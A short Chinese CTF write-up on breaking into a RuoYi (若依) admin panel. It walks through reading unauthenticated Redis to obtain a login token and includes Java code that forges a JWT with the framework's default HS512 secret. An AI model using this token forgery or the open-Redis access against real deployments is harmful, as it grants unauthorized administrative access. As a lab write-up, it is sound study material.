-
-
[原创]第三题
-
2021-5-13 11:49 4405
-
题目本身还行,就是体验太差了,以后WEB题做不到一人一环境就不要搞了。
首先看到若依,然后一番搜索,看见一些权限Issue提到了swagger-ui,从里面拿到版本号
然后下源码,分析鉴权
定位TokenService,发现会把登录缓存到Redis里
看到Redis的默认配置
没有密码,尝试连接,拿到login_token,此时数据库反正已经被其他选手污染了,但还能用
然后伪造Bearer,他这个算法和jwt.io的不一样,因此自己找0.9.2的Jwt实现了一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.HashMap; import java.util. Map ; public class Main { private static final String secret = "abcdefghijklmnopqrstuvwxyz" ; public static void main(String[] args) { Map <String, Object > claims = new HashMap<>(); claims.put( "login_user_key" , "fa9c2eed-3d64-46df-8896-1852f0e52b1f" ); String token = createToken(claims); Claims c = parseToken(token); String key = (String) c.get( "login_user_key" ); System.out.println(token); } private static String createToken( Map <String, Object > claims) { String token = Jwts.builder() .setClaims(claims) .signWith(SignatureAlgorithm.HS512, secret) .compact(); return token; } private static Claims parseToken(String token) { return Jwts.parser() .setSigningKey(secret) .parseClaimsJws(token) .getBody(); } } |
最后用Chrome插件设置token,登录后台,拿到flag
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
看原图